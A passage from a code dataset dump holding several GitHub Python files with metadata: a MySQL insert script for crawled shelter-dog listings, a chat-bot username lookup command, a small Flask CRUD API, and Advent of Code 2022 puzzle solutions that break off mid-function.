VALUES('{i['date']}','{i['location']}','{i['age']}','{i['gender']}','{i['breed']}','{i['imageLink']}','zooseyo.com','{i['webLink']}');\"\n cur.execute(sql)\n con.commit()\n\n\n\n\n# # 데이타 Fetch\n# rows = cur.fetchall()\n# print(rows) # 전체 rows\n# STEP 5: DB 연결 종료\ncon.close()\n\n","repo_name":"bigbowltakestime/Save-Shelter-Dog","sub_path":"dataCrawling/updateMySQL.py","file_name":"updateMySQL.py","file_ext":"py","file_size_in_byte":1976,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"16800506912","text":"from requests import *\r\nfrom json import loads\r\n\r\ndef command(core, packet, cmd, args, user):\r\n message = None\r\n\r\n if len(args) < 2:\r\n message = 'Please, tell me what is the xat ID...'\r\n else:\r\n source = get('https://xatblog.net/api/id2reg/%s?json' % args[1])\r\n result = loads(source.content.decode('utf-8'))['result']\r\n if type(result) is not str:\r\n message = 'User not found'\r\n else:\r\n message = '[%i] username: %s' % (int(args[1]), result)\r\n\r\n user.announce(message)","repo_name":"xlaming/xatClient","sub_path":"commands/reg.py","file_name":"reg.py","file_ext":"py","file_size_in_byte":538,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"9607624590","text":"from flask import Flask, request, jsonify\nfrom database import DatabaseManager\n\napp = Flask(__name__)\n\ndb_manager = DatabaseManager('configDB.yaml')\n\n@app.route('/add_record/', methods=['POST'])\ndef add_record(table_name):\n # Extract data from the request.\n data = request.get_json()\n\n # Add the record to the database.\n if db_manager.add_record(table_name, **data):\n return jsonify(message='Record added.'), 201\n else:\n return jsonify(message='Failed to add record.'), 500\n\n@app.route('/update_record/', methods=['PUT'])\ndef update_record(table_name):\n # Extract data from the request.\n data = request.get_json()\n filters = data.get(\"filters\")\n updates = data.get(\"updates\")\n\n # Update the record in the database.\n count = db_manager.update_record(table_name, filters, **updates)\n if count is not None:\n return jsonify(message=f'{count} records updated.'), 200\n else:\n return jsonify(message='Failed to update records.'), 500\n\n\n@app.route('/delete_record/', methods=['DELETE'])\ndef delete_record(table_name):\n # Extract data from the request.\n data = request.get_json()\n\n # Delete the record from the database.\n count = db_manager.delete_records(table_name, data)\n if count is not None:\n return jsonify(message=f'{count} records deleted.'), 200\n else:\n return jsonify(message='Failed to delete records.'), 500\n\n@app.route('/get_record/', methods=['GET'])\ndef get_record(table_name):\n # Extract data from the request.\n data = request.args.to_dict()\n print(data)\n\n # Check if 'single' parameter is provided and if it is set to 'true'.\n\n # Get the records from the database.\n records = db_manager.get_records(table_name, **data)\n\n if records is not None:\n return jsonify(records=records), 200\n else:\n return jsonify(message='Failed to get records.'), 500\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n","repo_name":"mdakk072/Smsar","sub_path":"api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":1991,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"74053936213","text":"\"\"\"Advent of Code 2022.\"\"\"\n\nimport fractions\nimport unittest\nimport string\nfrom collections import defaultdict\nfrom copy import copy\nfrom itertools import product, permutations, islice, repeat, tee, combinations\nfrom heapq import heappop, heappush\nimport re\nfrom functools import reduce, cmp_to_key\nimport math as e\nfrom math import log as ln, e as e\n#import z3\nimport networkx as nx\n\ndef problem01(inputfile=\"01.input\", part=1):\n \"\"\"Problem #1.\"\"\"\n return sum(sorted(list(map(lambda x: sum(int(i) for i in x.split(\"\\n\")), open(inputfile).read().split(\"\\n\\n\"))))[-(part*2-1):])\n\ndef problem02(inputfile=\"02.input\", part=1):\n \"\"\"Problem #2.\"\"\"\n score = 0\n for line in [i for i in open(inputfile).read().split(\"\\n\")]:\n them, me = line.split(\" \")\n if part == 2:\n me = [\"ZXY\",\"XYZ\",\"YZX\"][\"XYZ\".index(me)][\"ABC\".index(them)]\n score += \" XYZ\".index(me) + (6 if \"ABC\".index(them)==\"YZX\".index(me) else 3 if \"ABC\".index(them)==\"XYZ\".index(me) else 0)\n return score\n\ndef problem02a(inputfile=\"02.input\", part=1):\n \"\"\"Problem #2, alternate solution.\"\"\"\n return sum([[\"B X\",\"C Y\",\"A Z\",\"A X\",\"B Y\",\"C Z\",\"C X\",\"A Y\",\"B Z\"],[\"B X\",\"C X\",\"A X\",\"A Y\",\"B Y\",\"C Y\",\"C Z\",\"A Z\",\"B Z\"]][part-1].index(line)+1 for line in open(inputfile).read().split(\"\\n\"))\n\ndef problem02b(inputfile=\"02.input\", part=1):\n \"\"\"Problem #2, alternate solution.\"\"\"\n return sum([[9,1,5,6,7,2,3,4,8],[9,1,5,7,2,6,8,3,4]][part-1][(ord(line[0])%3)*3+ord(line[2])%3] for line in open(inputfile).read().split(\"\\n\"))\n\ndef problem02c(inputfile=\"02.input\", part=1):\n \"\"\"Problem #2, alternate solution.\"\"\"\n return sum([69,420,27,7,41,42,22,19,33,8,46,45,14,35,21,28,4,44,18,36].index(part*ord(line[0])*ord(line[2])%47)//2 for line in open(inputfile).read().split(\"\\n\"))\n\ndef problem02d(inputfile=\"02.input\", part=1):\n \"\"\"Problem #2, alternate solution.\"\"\"\n return sum([*map(lambda line:[*map(lambda x:ord(x)%47,'OZJ6XYEBP7]\\=RDK3[AS')].index(part*ord(line[0])*ord(line[2])%47)//2,open(inputfile).read().splitlines())])\n\ndef problem02e(inputfile=\"02.input\", part=1):\n \"\"\"Problem #2, alternate solution.\"\"\"\n return sum(1+(\"BXCXAXAYBYCYCZAZBZBXCYAZAXBYCZCXAYBZ\".find(line[0]+line[2],(part%2)*18)%18)//2 for line in open(inputfile).read().split(\"\\n\"))\n\ndef problem02f(inputfile=\"02.input\", part=1):\n \"\"\"Problem #2, alternate solution, based on Shiiyu's.\"\"\"\n return sum([*map(lambda x:(((4+x[1]-x[0])%3*3)if part==1 else((2+x[0]+x[1])%3+x[1]*2))+x[1]+1,[*map(lambda line:[(ord(line[0])+4)%23,(ord(line[2])+4)%23],open(inputfile).read().splitlines())])])\n\ndef problem03(inputfile=\"03.input\", part=1):\n \"\"\"Problem #3.\"\"\"\n data = open(inputfile).read().split(\"\\n\")\n total = 0\n if part == 1:\n for i in data:\n for j in set(i[:len(i)//2]) & set(i[len(i)//2:]):\n total += (\"0\"+string.ascii_letters).index(j)\n return total\n i = 0\n while i < len(data):\n for j in (set(data[i]) & set(data[i+1]) & set(data[i+2])):\n total += (\"0\"+string.ascii_letters).index(j)\n i += 3\n return total\n\ndef problem03a(inputfile=\"03.input\", part=1):\n \"\"\"Problem #3, alternate solution.\"\"\"\n return (sum([*map(lambda x:(\"0\"+string.ascii_letters).index(list(x)[0]),[*map(lambda line:set(line[:len(line)//2])&set(line[len(line)//2:]),open(inputfile).read().split(\"\\n\"))])]))if part==1 else(sum([*map(lambda data:sum([(\"0\"+string.ascii_letters).index(list(set(data[i-i%3])&set(data[i-i%3+1])&set(data[i-i%3+2]))[0])for i in range(len(data))])//3,[open(inputfile).read().split(\"\\n\")])]))\n\ndef problem03b(inputfile=\"03.input\", part=1):\n \"\"\"Problem #3, alternate solution.\"\"\"\n data = open(inputfile).read().split(\"\\n\")\n total = 0\n if part == 1:\n for i in data:\n for j in set(i[:len(i)//2]) & set(i[len(i)//2:]):\n total += (ord(j)-96)%58\n return total\n i = 0\n while i < len(data):\n for j in (set(data[i]) & set(data[i+1]) & set(data[i+2])):\n total += (ord(j)-96)%58\n i += 3\n return total\n\ndef problem03c(inputfile=\"03.input\", part=1):\n \"\"\"Problem #3, alternate solution.\"\"\"\n return (sum([*map(lambda x:(ord(list(x)[0])-96)%58,[*map(lambda line:set(line[:len(line)//2])&set(line[len(line)//2:]),open(inputfile).read().split(\"\\n\"))])]))if part==1 else(sum([*map(lambda data:sum([(ord(list(set(data[i-i%3])&set(data[i-i%3+1])&set(data[i-i%3+2]))[0])-96)%58 for i in range(len(data))])//3,[open(inputfile).read().split(\"\\n\")])]))\n\ndef problem03d(inputfile=\"03.input\", part=1):\n \"\"\"Problem #3, alternate solution.\"\"\"\n return sum([((ord(list(j)[0])-96)%58) for j in([*map(lambda x:list(map(lambda y:((list(y)[0])),list(x))),list([*map(lambda data:list([0,[set(data[i][:len(data[i])//2])&set(data[i][len(data[i])//2:])],[set(data[i-i%3])&set(data[i-i%3+1])&set(data[i-i%3+2])]][part] for i in range(len(data))),[open(inputfile).read().split(\"\\n\")])]))][0])])//[0,1,3][part]\n\ndef problem04(inputfile=\"04.input\", part=1):\n \"\"\"Problem #4.\"\"\"\n data = open(inputfile).read().split(\"\\n\")\n total = [0,0]\n for i in range(0,len(data)):\n left, right = data[i].split(\",\")\n left = set(range(int(left.split(\"-\")[0]), 1 + int(left.split(\"-\")[1])))\n right = set(range(int(right.split(\"-\")[0]), 1 + int(right.split(\"-\")[1])))\n if left | right in [left, right]:\n total[0] += 1\n if len(left & right):\n total[1] += 1\n return total[part-1]\n\ndef problem04a(inputfile=\"04.input\", part=1):\n \"\"\"Problem #4, alternate solution.\"\"\"\n return([*map(lambda x:(x[0]|x[1]in[x[0],x[1]],len(x[0]&x[1])>0)[part-1],[*map(lambda x:[set(range(int(x[0][0]),int(x[0][1])+1)),set(range(int(x[1][0]),int(x[1][1])+1))],[*map(lambda x:[j.split(\"-\")for j in x.split(\",\")],open(inputfile).read().split(\"\\n\"))])])].count(True))\n\ndef problem04b(inputfile=\"04.input\", part=1):\n \"\"\"Problem #4, alternate solution.\"\"\"\n return [*map(lambda x:[x[0][1]>=x[1][0],(x[0][0]<=x[1][0] and x[0][1]>=x[1][1])or(x[0][0]>=x[1][0] and x[0][1]<=x[1][1])][part%2],[*map(lambda x:sorted([[int(j) for j in i.split(\"-\")] for i in x.split(\",\")],key=lambda y:y[0]),open(inputfile).read().split(\"\\n\"))])].count(True)\n\ndef problem04c(inputfile=\"04.input\", part=1):\n \"\"\"Problem #4, alternate solution.\"\"\"\n return [[y[0][1]>=y[1][0],(y[0][0]<=y[1][0] and y[0][1]>=y[1][1])or(y[0][0]>=y[1][0] and y[0][1]<=y[1][1])][part%2] for y in [sorted([[int(x[0][0]),int(x[0][1])],[int(x[1][0]),int(x[1][1])]]) for x in [(j[0].split(\"-\"),j[1].split(\"-\")) for j in (i.split(\",\") for i in open(inputfile).read().split())]]].count(True)\n\ndef problem04d(inputfile=\"04.input\", part=1):\n \"\"\"Problem #4, alternate solution.\"\"\"\n return [[(c>b)|(a>d),((c0 else \"\") for i in columns)\n\ndef problem05a(inputfile=\"05.input\", part=1):\n \"\"\"Problem #5, alternate solution.\"\"\"\n return \"\".join([i[-1] for i in reduce(lambda x, y: [(x[i] if (int(y.split(\" \")[3])-1 != i and int(y.split(\" \")[5])-1 != i) else x[i] + x[int(y.split(\" \")[3])-1][::-1][:int(y.split(\" \")[1])][::-1 if part == 2 else 1] if (int(y.split(\" \")[3])-1) != i and (int(y.split(\" \")[5])-1) == i else x[i][:-int(y.split(\" \")[1])]) for i in range(len(x))], [[list(filter(lambda x: x != \" \", i[1:])) for i in list(list(i) for i in list(list(x)[::-1] for x in zip(*[list(i) for i in open(inputfile).read().split(\"\\n\\n\")[0].split(\"\\n\")]))) if list(list(i) for i in list(list(x)[::-1] for x in zip(*[list(i) for i in open(inputfile).read().split(\"\\n\\n\")[0].split(\"\\n\")]))).index(i)%4==1]] + open(inputfile).read().split(\"\\n\\n\")[1].split(\"\\n\"))])\n\ndef problem06(inputfile=\"06.input\", part=1):\n \"\"\"Problem #6.\"\"\"\n return list((part*10-6 + min([i for i in range(len(data)-3) if part*10-6==len(set(data[i:i+part*10-6]))])) for data in open(inputfile).read().split(\"\\n\"))\n\ndef nwise(iterator, n):\n answer = tee(iterator, n)\n for i in range(n):\n for j in range(i):\n next(answer[i], None)\n return zip(*answer)\n\ndef problem06a(inputfile=\"06.input\", part=1):\n \"\"\"Problem #6, alternate solution.\"\"\"\n return [list(map(lambda x: len(x)==len(set(x)), list(nwise(data, [4,14][part-1])))).index(True) + [4,14][part-1] for data in open(inputfile).read().split(\"\\n\")]\n\ndef problem06b(inputfile=\"06.input\", part=1):\n \"\"\"Problem #6, alternate solution.\"\"\"\n answer = []\n datalines = open(inputfile).read().split(\"\\n\")\n for data in datalines:\n i = 0\n while i < len(data):\n good = True\n j = i\n while good and j < i + [4,14][part-1]:\n k = j + 1\n while good and k < i + [4,14][part-1]:\n if data[j] == data[k]:\n good = False\n k += 1\n j += 1\n if good:\n answer.append(i + [4,14][part-1])\n i = len(data)\n i += 1\n return answer\n\ndef problem06c(inputfile=\"06.input\", part=1):\n \"\"\"Problem #6, alternate solution.\"\"\"\n datalines = open(inputfile).read().split(\"\\n\")\n z = 0\n answer = []\n for data in datalines:\n z += 1\n for i in range(len(data)):\n if len(list(j for j in combinations(data[i:i+[4,14][part-1]], 2) if j[0] == j[1])) == 0:\n if len(answer) < z:\n answer.append(i + [4,14][part-1])\n i += 1\n return answer\n\ndef problem07(inputfile=\"07.input\", part=1):\n \"\"\"Problem #7.\"\"\"\n data = open(inputfile).read().split(\"\\n\")\n path = \"\"\n files = {}\n dirs = {}\n total = 0\n for i in data:\n if i[:3] != \"dir\":\n if i[:4] == \"$ cd\":\n if i == \"$ cd /\":\n path = \"/\"\n else:\n if i == \"$ cd ..\":\n path = \"/\".join(path.split(\"/\")[:-1]).replace(\"//\", \"/\")\n else:\n path = (path + \"/\" + i[5:]).replace(\"//\", \"/\")\n else:\n if i != \"$ ls\":\n a, b = i.split(\" \")\n files[path + b] = int(a)\n temp = path\n if path not in dirs:\n dirs[path] = 0\n dirs[\"/\"] += int(a)\n if path != \"/\":\n while len(temp) > 1:\n if temp not in dirs:\n dirs[temp] = 0\n dirs[temp] += int(a)\n temp = temp.split(\"/\")\n temp.pop()\n temp = (\"/\".join(temp)).replace(\"//\", \"/\")\n for i in dirs:\n if dirs[i] < 100000:\n total += dirs[i]\n if part==1:\n return total\n totaldisk = 70000000 - dirs[\"/\"]\n neededdisk = 30000000\n return min(i for i in dirs.values() if totaldisk + i > neededdisk)\n\ndef problem07a(inputfile=\"07.input\", part=1):\n \"\"\"Problem #7, alternate solution.\"\"\"\n stack = [[]]\n answers = []\n ind = 1\n for i in open(inputfile).read().split(\"\\n\"):\n if i[:4] == \"$ cd\":\n if i != \"$ cd ..\":\n stack.append([])\n else:\n answers.append(sum(stack[-1]))\n stack[-1] = stack[-2] + [sum(stack.pop())]\n else:\n if i[:3] != \"dir\" and i[0] != \"$\":\n stack[-1].append(int(i.split(\" \")[0]))\n while len(stack) > 1:\n answers.append(sum(stack[-1]))\n stack[-1] = stack[-2] + [sum(stack.pop())]\n answers = answers + [sum(stack[0])]\n if part == 1:\n return sum(i for i in answers if i < 100000)\n return min(i for i in answers if 70000000 - max(answers) + i > 30000000)\n\n#def problem07b(inputfile=\"07.input\", part=1):\n# \"\"\"Problem #7, alternate solution.\"\"\"\n# print(reduce(lambda x, y: [x[0] + [[]], x[1]] if y[:min(4, len(y))] == \"$ cd\" and y != \"$ cd ..\" else [x[0][:-1] + [x[0][-1] + [int(y.split(\" \")[0])]], x[1]] if re.match(r\"\\d+ \\S+\", y) else x if y[:3] == \"dir\" else [x[0][:-2] + sum(x[0][-1]), x[1] + [sum(x[0][-1])]], [[[[0]],[]]] + open(inputfile).read().split(\"\\n\")))\n# return reduce(lambda x, y: [x[0] + [[]], x[1]] if y[:min(4, len(y))] == \"$ cd\" and y != \"$ cd ..\" else [x[0][:-1] + [x[0][-1] + [int(y.split(\" \")[0])]], x[1]] if re.match(r\"\\d+ \\S+\", y) else x if y[:3] == \"dir\" else [x[0][:-2] + sum(x[0][-1]), x[1] + [sum(x[0][-1])]], [[[[0]],[]]] + open(inputfile).read().split(\"\\n\"))\n\ndef problem08(inputfile=\"08.input\", part=1):\n \"\"\"Problem #8.\"\"\"\n data = open(inputfile).read().split(\"\\n\")\n visible = []\n for i in data:\n visible.append([])\n for j in i:\n visible[-1].append(0)\n total = 0\n if part == 1:\n for i in range(len(data)):\n temp = list(int(j) for j in data[i])\n best = temp[0]\n visible[i][0] = 1\n for j in range(len(data[i])):\n if temp[j] > best:\n visible[i][j] = 1\n best = temp[j]\n temp = list(int(j) for j in data[i])[::-1]\n best = temp[0]\n visible[i][-1] = 1\n for j in range(len(data[i])):\n if temp[j] > best:\n visible[i][len(data[i])-1-j] = 1\n best = temp[j]\n data = [[data[j][i] for j in range(len(data))] for i in range(len(data[0])-1,-1,-1)]\n visible = [[visible[j][i] for j in range(len(visible))] for i in range(len(visible[0])-1,-1,-1)]\n for i in range(len(data)):\n temp = list(int(j) for j in data[i])\n best = temp[0]\n visible[i][0] = 1\n for j in range(len(data[i])):\n if temp[j] > best:\n visible[i][j] = 1\n best = temp[j]\n temp = list(int(j) for j in data[i])[::-1]\n best = temp[0]\n visible[i][-1] = 1\n for j in range(len(data[i])):\n if temp[j] > best:\n visible[i][len(data[i])-1-j] = 1\n best = temp[j]\n return sum(sum(j) for j in visible)\n visible = []\n for i in data:\n visible.append([])\n for j in i:\n visible[-1].append(0)\n best = 0\n for i in range(len(data)):\n for j in range(len(data[i])):\n a, b, c, d = (1 if i != 0 else 0),(1 if i != len(data)-1 else 0),(1 if j != 0 else 0),(1 if j != len(data[i])-1 else 0)\n ii, jj = i-1, j\n while ii > 0 and int(data[i][j]) > int(data[ii][jj]):\n ii -= 1\n a += 1\n ii, jj = i+1, j\n while ii + 1 < len(data) and int(data[i][j]) > int(data[ii][jj]):\n ii += 1\n b += 1\n ii, jj = i, j-1\n while jj > 0 and int(data[i][j]) > int(data[ii][jj]):\n jj -= 1\n c += 1\n ii, jj = i, j+1\n while jj + 1 < len(data) and int(data[i][j]) > int(data[ii][jj]):\n jj += 1\n d += 1\n best = max(a * b * c * d, best)\n return best\n\ndef problem08a(inputfile=\"08.input\", part=1):\n \"\"\"Problem #8, alternate solution.\"\"\"\n data = [[int(i) for i in j] for j in open(inputfile).read().split(\"\\n\")]\n visible, finish, best = [[(part-1) for j in range(len(data[0]))] for i in range(len(data))], [sum,max][part-1], 0\n for _, i, j in product(range(len(\"data\")), range(len(data)), range(len(data[0]))):\n if part == 2:\n l, m = i != 0, i - 1\n while m > 0 and data[i][j] > data[m][j]: m, l = m - 1, l + 1\n visible[i][j] *= l\n else: best, visible[i][j] = [best, data[i][j]][j == 0 or data[i][j] > best], data[i][j] > best or j == 0 or visible[i][j]\n if i+1==len(data) and j+1==len(data[0]): data, visible = [[data[j][i] for j in range(len(data))] for i in range(len(data[0])-1,-1,-1)], [[visible[j][i] for j in range(len(visible))] for i in range(len(visible[0])-1,-1,-1)]\n return finish(finish(j) for j in visible)\n\ndef problem09(inputfile=\"09.input\", part=1):\n \"\"\"Problem #9.\"\"\"\n rope, head, seen = [2, 10][part-1], [[0, 0] for i in range([2, 10][part-1]+1)], set()\n for i, j in [k.split(\" \") for k in open(inputfile).read().split(\"\\n\")]:\n for _ in range(int(j)):\n head[-1] = {\"U\":[head[0][0]-2, head[0][1]],\"D\":[head[0][0]+2, head[0][1]],\"L\":[head[0][0], head[0][1]-2],\"R\":[head[0][0],head[0][1]+2]}[i]\n for k in range(rope):\n if ((abs(head[k-1][0]-head[k][0])>1 or abs(head[k-1][1]-head[k][1])>1) and (head[k-1][0]!=head[k][0]) and (head[k-1][1]!=head[k][1])): head[k][0], head[k][1] = head[k][0]+1 if head[k-1][0] > head[k][0] else head[k][0]-1,head[k][1]+1 if head[k-1][1] > head[k][1] else head[k][1]-1\n if (abs(head[k-1][0]-head[k][0])>1): head[k][0] += 1 if head[k-1][0] > head[k][0] else -1\n if (abs(head[k-1][1]-head[k][1])>1): head[k][1] += 1 if head[k-1][1] > head[k][1] else -1\n seen.add(tuple(head[rope-1]))\n return len(seen)\n\ndef problem10(inputfile=\"10.input\", part=1):\n \"\"\"Problem #10.\"\"\"\n data = [i for i in open(inputfile).read().split(\"\\n\")] + [[],[]]\n queue = [[] for i in range(2000)]\n signals = []\n totals = [0,1]\n total = 1\n z = 1\n i = 0\n zz = 19.9\n while i < len(data):\n if data[i] == \"noop\":\n totals.append(totals[-1])\n if data[i][:4] == \"addx\":\n totals.append(totals[-1])\n totals.append(totals[-1] + int(data[i][5:]))\n i += 1\n # print(totals[19:22])\n # print(totals)\n signals = [totals[i]*i for i in range(len(totals)) if (i + 20)%40==0]\n if part == 1:\n return(sum(signals))\n data = [i for i in open(inputfile).read().split(\"\\n\")] + [[],[]]\n queue = [[] for i in range(2000)]\n signals = []\n totals = [0,1]\n total = 1\n z = 1\n i = 0\n zz = 19.9\n while i < len(data):\n if data[i] == \"noop\":\n totals.append(totals[-1])\n if data[i][:4] == \"addx\":\n totals.append(totals[-1])\n totals.append(totals[-1] + int(data[i][5:]))\n i += 1\n # print(totals[19:22])\n # print(totals)\n signals = [totals[i]*i for i in range(len(totals)) if (i + 20)%40==0]\n # print(totals)\n screen = [[\" \" for i in range(40)] for j in range(6)]\n# totals.pop(0)\n# totals.pop(0)\n for i in range(240):\n a, b, c = (i // 3 * 3)%40, (i // 3 * 3 + 1)%40, (i // 3 * 3 + 2)%40\n a,b,c = i%40,i%40-2,i%40-1\n# print(i, a, b, c, totals[i])\n try:\n if totals[i] in [a,b,c]: #]+([totals[i+1]] if i < 39 else [totals[i]]))+([totals[i+2]] if i+1 < 39 else [totals[i]]):\n screen[i//40][i%40]=\"X\"\n except:\n pass\n if inputfile == \"10.input\":\n# print(screen)\n for i in screen:\n pass\n# print(\"\".join(i))\n return None\n\ndef problem11(inputfile=\"11.input\", part=1):\n \"\"\"Problem #11.\"\"\"\n m,r=[[[int(i)for i in eval(\"[\"+l[1][18:]+\"]\")],l[2][19:].split(\" \"),int(l[3][21:]),int(l[4][29:]),int(l[5][30:]),0] for l in[i.split(\"\\n\")for i in open(inputfile).read().split(\"\\n\\n\")]],range\n for _,i in product(r(int(5e6*e**(-ln(2.5e5)/part))),r(len(m))):\n m[i][5],m[i][0]=(m[i][5]+len(m[i][0])),[(((m[i][0][j]if m[i][1][0]==\"old\"else int(m[i][1][0]))+(m[i][0][j]if m[i][1][2]==\"old\"else int(m[i][1][2]))if m[i][1][1]==\"+\"else(m[i][0][j]if m[i][1][0]==\"old\"else int(m[i][1][0]))*(m[i][0][j]if m[i][1][2]==\"old\"else int(m[i][1][2])))//(5-2*part))%reduce(lambda x,y:x*y,[k[2]for k in m])for j in r(len(m[i][0]))]\n [m[m[i][4 if m[i][0][0]%m[i][2]else 3]][0].append(m[i][0].pop(0))for _ in r(len(m[i][0]))]\n return reduce(lambda a,b:a*b,sorted([i[5]for i in m])[-2:])\n\ndef problem12(inputfile=\"12.input\", part=1):\n \"\"\"Problem #12.\"\"\"\n map, start, goal, best = [[ord(i)-ord(\"a\") for i in j] for j in open(inputfile).read().split(\"\\n\")], ord(\"S\") - ord(\"a\"), ord(\"E\") - ord(\"a\"), 10**99\n starti, goali, width, height = [(start in i) for i in map].index(True), [(goal in i) for i in map].index(True), len(map[0]), len(map)\n startj, goalj, dist = map[starti].index(start), map[goali].index(goal), [[10**99 for j in range(width)] for i in range(height)]\n map[goali][goalj], map[starti][startj], dist[goali][goalj]=ord(\"z\")-ord(\"a\"), 0, 0\n for _, i, j in product(range(height * width), range(height), range(width)): dist[max(0, i-1)][j],dist[min(height-1,i+1)][j],dist[i][max(0,j-1)],dist[i][min(width-1,j+1)] = min(dist[i][j]+1, dist[max(0, i-1)][j]) if i > 0 and map[i][j] - 1 <= map[max(0, i-1)][j] else dist[max(0, i-1)][j], min(dist[i][j]+1, dist[min(height-1,i+1)][j]) if i < height-1 and map[i][j] - 1 <= map[min(height-1,i+1)][j] else dist[min(height-1,i+1)][j], min(dist[i][j]+1, dist[i][max(0,j-1)]) if j > 0 and map[i][j] - 1 <= map[i][max(0,j-1)] else dist[i][max(0,j-1)], min(dist[i][j]+1, dist[i][min(width-1,j+1)]) if j < width-1 and map[i][j] - 1 <= map[i][min(width-1,j+1)] else dist[i][min(width-1,j+1)]\n if part == 1: return dist[starti][startj]\n for i, j in product(range(height), range(width)): best = min(best, dist[i][j]) if map[i][j] == 0 else best\n return best\n\ndef problem13(inputfile=\"13.input\", part=1):\n \"\"\"Problem 13.\"\"\"\n def compare(left, right, good=0, i=0):\n while good == 0 and i < len(left): good, i = 1 if len(right) <= i else compare(list([left[i]]) if type(left[i]) is int else left[i], list([right[i]]) if type(right[i]) is int else right[i]) if type(left[i]) is list or type(right[i]) is list else (left[i]>right[i])-(left[i]\")]\n i = 0\n while i + 1 < len(line):\n a, b = line[i][0], line[i][1]\n lowest = max(lowest, b)\n grid[a][b] = 1\n if line[i+1][0] > a:\n while grid[line[i+1][0]][line[i+1][1]] == 0:\n grid[a][b] = 1\n a += 1\n else:\n if line[i+1][0] < a:\n while grid[line[i+1][0]][line[i+1][1]] == 0:\n grid[a][b] = 1\n a -= 1\n else:\n if line[i+1][1] > b:\n while grid[line[i+1][0]][line[i+1][1]] == 0:\n grid[a][b] = 1\n b += 1\n else:\n while grid[line[i+1][0]][line[i+1][1]] == 0:\n grid[a][b] = 1\n b -= 1\n i += 1\n lowest = max(lowest, b)\n aa = min(grid.keys())\n bb = max(grid.keys())\n done = False\n count = 0\n sand = [500,0]\n while not done:\n if sand[1] - 1 > lowest:\n done = True\n if not done and grid[sand[0]][sand[1]+1] == 0:\n sand = [sand[0],sand[1]+1]\n else:\n if not done and grid[sand[0]-1][sand[1]+1] == 0:\n sand = [sand[0]-1,sand[1]+1]\n else:\n if not done and grid[sand[0]+1][sand[1]+1] == 0:\n sand = [sand[0]+1,sand[1]+1]\n else:\n if sand[1] - 1> lowest:\n done = True\n else:\n grid[sand[0]][sand[1]] = 2\n sand = [500, 0]\n count += 1\n count2 = 0\n for i in grid:\n for j in grid[i]:\n if grid[i][j] == 2:\n count2 += 1\n if part == 1:\n return count\n for z in range(aa - lowest - lowest, bb + lowest + lowest):\n grid[z][lowest + 2] = 1\n sand = [500,0]\n while grid[500][0] == 0:\n done = False\n if not done and grid[sand[0]][sand[1]+1] == 0:\n sand = [sand[0],sand[1]+1]\n else:\n if not done and grid[sand[0]-1][sand[1]+1] == 0:\n sand = [sand[0]-1,sand[1]+1]\n else:\n if not done and grid[sand[0]+1][sand[1]+1] == 0:\n sand = [sand[0]+1,sand[1]+1]\n else:\n grid[sand[0]][sand[1]] = 2\n sand = [500, 0]\n count += 1\n return count\n\ndef problem15(inputfile=\"15.input\", part=1):\n \"\"\"Problem #15.\"\"\"\n data = open(inputfile).read().split(\"\\n\")\n goal = 0\n if inputfile==\"15.test\":\n goal = 10\n else:\n goal = 2000000\n if part == 2:\n gmax = goal * 2\n x = z3.Int('x')\n y = z3.Int('y')\n s = z3.Solver()\n s.add(x >= 0)\n s.add(x <= gmax)\n s.add(y >= 0)\n s.add(y <= gmax)\n grid = defaultdict(lambda: defaultdict(lambda: \".\"))\n for i in data:\n words = i.split(\" \")\n a,b,c,d = words[2], words[3], words[8], words[9]\n a = int(a.replace(\",\",\"\").replace(\":\",\"\").split(\"=\")[1])\n b = int(b.replace(\",\",\"\").replace(\":\",\"\").split(\"=\")[1])\n c = int(c.replace(\",\",\"\").replace(\":\",\"\").split(\"=\")[1])\n d = int(d.replace(\",\",\"\").replace(\":\",\"\").split(\"=\")[1])\n dist = (abs(c-a)+abs(d-b))\n if part == 1:\n for jj in range(a-dist, a+dist+1):\n ii = goal\n if (abs(ii-b)+abs(jj-a)) <= dist:\n if grid != \"B\":\n grid[ii][jj] = \"#\"\n grid[d][c] = \"B\"\n grid[b][a] = \"S\"\n if part == 2:\n s.add(z3.Abs(x-a)+z3.Abs(y-b)>dist)\n if part==1:\n return len([k for k in grid[ii].values() if k==\"#\"])\n s.check()\n m = s.model()\n return m[x].as_long()*4000000+m[y].as_long()\n\ndef problem16(inputfile=\"16.input\", part=1):\n \"\"\"Problem #16.\"\"\"\n data, valves, g = open(inputfile).read().split(\"\\n\"), {}, nx.Graph()\n for i in data:\n valves[i.split(\" \")[1]] = {\"flow\": int(i.split(\" \")[4].split(\"=\")[1].replace(\";\",\"\")), \"valves\": [j.replace(\" \",\"\") for j in i[i.index(\"valve\") + 6:].split(\", \")]}\n for j in valves[i.split(\" \")[1]][\"valves\"]: g.add_edge(i.split(\" \")[1], j)\n useful, best, queues, bestd, i = [i for i in valves if valves[i][\"flow\"] > 0], 0, [[\"AA\"]], defaultdict(int), 0\n while i < len(queues):\n current, time, total, j, opened = queues[i], [30,26][part-1], 0, 0, set()\n while time >= 0:\n total += sum(valves[k][\"flow\"] for k in opened)\n if j < len(current):\n if current[j] == \"Open\": opened.add(current[j-1])\n j += 1\n time -= 1\n bestd[tuple(sorted(opened))], latest = max(bestd[tuple(sorted(opened))], total), -1\n while current[latest] == \"Open\": latest -= 1\n opened, k = set(), 0\n while k < len(current):\n if current[k] == \"Open\" and current[k-1] != \"Open\": opened.add(current[k-1])\n k += 1\n for j in [k for k in useful if k not in opened]:\n temp = (current + nx.shortest_path(g, current[latest], j)[1:] + [\"Open\"])[:32-4*part]\n if (temp != current) and temp[-1] == \"Open\": queues.append(temp)\n i += 1\n if part == 1: return max(bestd.values())\n for i, j in product(bestd, bestd):\n if set(i)&set(j)==set():\n best = max(best, bestd[i] + bestd[j])\n return best\n\ndef problem17(inputfile=\"17.input\", part=1):\n \"\"\"Problem #17.\"\"\"\n jets = [i for i in open(inputfile).read()]\n # print(jets)\n grid = [[0,0,0,0,0,0,0] for j in range(10000000)]\n rocks = [i[::-1] for i in [[[1,1,1,1]],[[0,1,0],[1,1,1],[0,1,0]],[[0,0,1],[0,0,1],[1,1,1]],[[1],[1],[1],[1]],[[1,1],[1,1]]]]\n oh = []\n k = 0\n jj = 0\n highest = 0\n while k < 2022 * part:\n pos = [3 + highest, 2]\n 